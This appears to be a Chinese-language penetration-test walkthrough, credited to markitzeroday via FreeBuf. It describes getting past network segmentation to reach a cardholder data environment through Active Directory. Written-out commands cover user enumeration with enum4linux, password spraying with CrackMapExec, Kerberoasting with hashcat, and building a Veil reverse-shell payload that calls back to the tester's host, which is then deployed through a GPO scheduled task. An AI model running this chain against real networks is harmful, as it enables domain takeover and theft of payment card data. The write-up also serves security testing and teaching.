1.png

写在前面的话

在这篇文章中,我们将介绍如何绕过防火墙系统,并获取到持卡人数据环境(CDE)的访问权。最终目标:提取目标用户的信用卡数据。

如果你需要在你的网络中存储、传输或处理信用卡数据的话,那么信用卡数据安全就必须要得到有效保障。根据PCI数据安全标准(PCI-DSS),持卡人数据可以直接在内部网络中传输和发送,前提是网络系统已实施了网络分割,而这种网络范围(划分持卡人数据环境跟其他网络)的定义一般都是通过防火墙来实现的。

为了保护客户的机密数据,我们需要对网络的实现细节进行修改。假设公司拥有一个非常大型的网络系统,全部的地址都在10.0.0.0/8这个范围内。持卡人数据则需要单独划分至192.168.0.0/16这个范围,并通过防火墙进行隔离。

注:CDE一般由呼叫中心(负责处理电话订单)和操作人员(负责将支付信息填写进Web表但)组成。

此次测试只是一次内部测试,因此我们直接连接至公司的内部办公网络(10.0.0.0/8地址范围)。从这个地址利用ping命令和端口扫描功能来扫描CDE环境:

2.png3.png

Ping扫描基本上相当于直接运行ping命令,但nmap可以“一键式”扫描整个IP段。“hosts up”是第二个命令的输出,因为我们添加了“-Pn”参数来判断是否是第一次ping,因此nmap将会报告当前范围内所有“up”的主机。

因此,除非部署了防火墙规则来绕过漏洞,或防火墙使用了弱密码,否则这种方式的效果是不会理想的。因此,我们第一不要做的就是如何通过获取域管理员权限来控制活动目录。

如何变成域管理员?

在我们的场景中,我们选择使用kerberoast来控制域。入侵活动目录的第一步,通常需要获取任意用户账号的访问权,只要我们能够通过域控制器的认证就可以了。在Windows中,所有的账号都能通过域控制器的认证,即使它们没有权限来做实际的事情。也就是说,最低权限的账户,只要登录完成之后并输入正确的密码,它就可以通过验证。

在这名用户的站点上,没有在域控制器中启用会话。因此,我们的域控制器为10.0.12.100,“PETER”。我们可以使用enum4linux之类的功能根据来枚举出用户列表,并获取到域中每一位用户的用户名:

$ enum4linux -R 1000-50000 10.0.12.100|tee enum4linux.txt

4.png5.png

拿到用户列表之后,我们就可以对其进行解析处理了:

$ cat enum4linux.txt | grep '(LocalUser)' |awk '$2 ~ /MACFARLANE\\/ {print $2}'| grep -vP '^.*?\$$' | sed's/MACFARLANE\\//g'

6.png

这个网络非常庞大,有超过25000个活动用户,不过我使用grep进行了简单的用户筛选,足以演示我们的攻击操作了。

现在,拿到包含用户列表的文本文件后,我们就可以使用CrackMapExec之类的工具来猜测用户密码了。这里我们猜测目标账号的密码是否为“Password1”:

$ cme smb 10.0.12.100 -u users.txt -pPassword1

7.png

如果我们想要继续猜解,则需要指定“–continue-on-success”参数:

8.png

拿到这个用户账号之后,我们就可以查询活动目录,并获取服务账号列表了。服务账号就是针对服务运行的用户账号,比如说Microsoft SQL Server等等,它们需要在特定用户账号环境中运行。活动目录的Kerberos认证系统可以用来提供访问权限,因此活动目录会提供一个“服务令牌”来运行用户进行认证。

通过从域控制器请求Kerberos服务账号列表,我们还可以得到每一个账号的“服务令牌”。这个服务令牌使用了服务账号的密码进行加密。所以,如果我们破解密码,我们就可以使用这个账号,而这种账号一般都是高权限账号:

9.png

我们可以看到,其中一个账号为域管理组成员,所以我们可以直接破解它:

$ hashcat -m 13100 --potfile-disableSPNs.txt /usr/share/wordlists/rockyou.txt -r /usr/share/rules/d3adhob0.rule

Hashcat运行之后,我们就拿到了明文密码:

10.png

这是一个活动账号,我们可以再次使用CrackMapExec:

$ cme smb 10.0.12.100 -u redrum -p'murder1!'

11.png

非常好,我们拿到了域控制器的管理员账号!

12.jpg

现在,虽然我们不能直接访问目标设备,但我们可以通过活动目录域来让域控制器帮助我们跟目标设备进行交互。我们的目标是在CDE中通过呼叫中心控制同一活动目录中的其他计算机。为此,我们还需要深入了解组策略对象(GPO)。

GPO允许将各种范围级别的设置应用于用户和计算机,它可以以不同范围级别控制域中的计算机。客户GPO的许多功能都适用于统一管理组织中的IT设置。例如,统一设置密码策略,或者统一设置为用户桌面显示哪些图标(例如,打开公司网站的快捷方式)。而有一个GPO可以运行微软中的“计划任务”,这正是我们所需要的。

这里我创建了一个需要在目标机器中运行的脚本,让它们连接回我们的机器。以下是具体步骤:

1.生成payload。这里我们使用了Veil Evasion。我们的IP地址是10.0.12.1,因此我们设置回连到这个地址:

$ veil -t EVASION -p 22 --ip 10.0.12.1--port 8755 -o pci_shell

13.png

2.使用我们从kerberoasting获得的凭据,通过远程桌面协议(RDP)登录到域控制器。

14.png

3.在活动目录中找到CDE。根据我们对目标的了解,他们的呼叫中心在2楼工作。通过浏览目录,我们定位到一个特殊的名字:

15.png

4.将我们用Veil制作的恶意脚本放入文件夹,然后在域控制器上进行共享。在共享和目录上设置权限,允许所有域用户读取:

16.png

5.创建GPO策略:

17.png

6.在编辑这个新的GPO时,点击“计划任务”,并创建新的“即时计划任务”:

18.png

7.创建指向共享恶意脚本的任务。同时在common下设置”Run in logged-on user’s securitycontext”:

19.png

等待片刻后,情况如下所示:

20.png

没错,就是我们要的支付卡数据:

21.png

渗透工作目前已全部完成!

22.jpg

*参考来源:markitzeroday,FB小编Alpha_h4ck编译,转自FreeBuf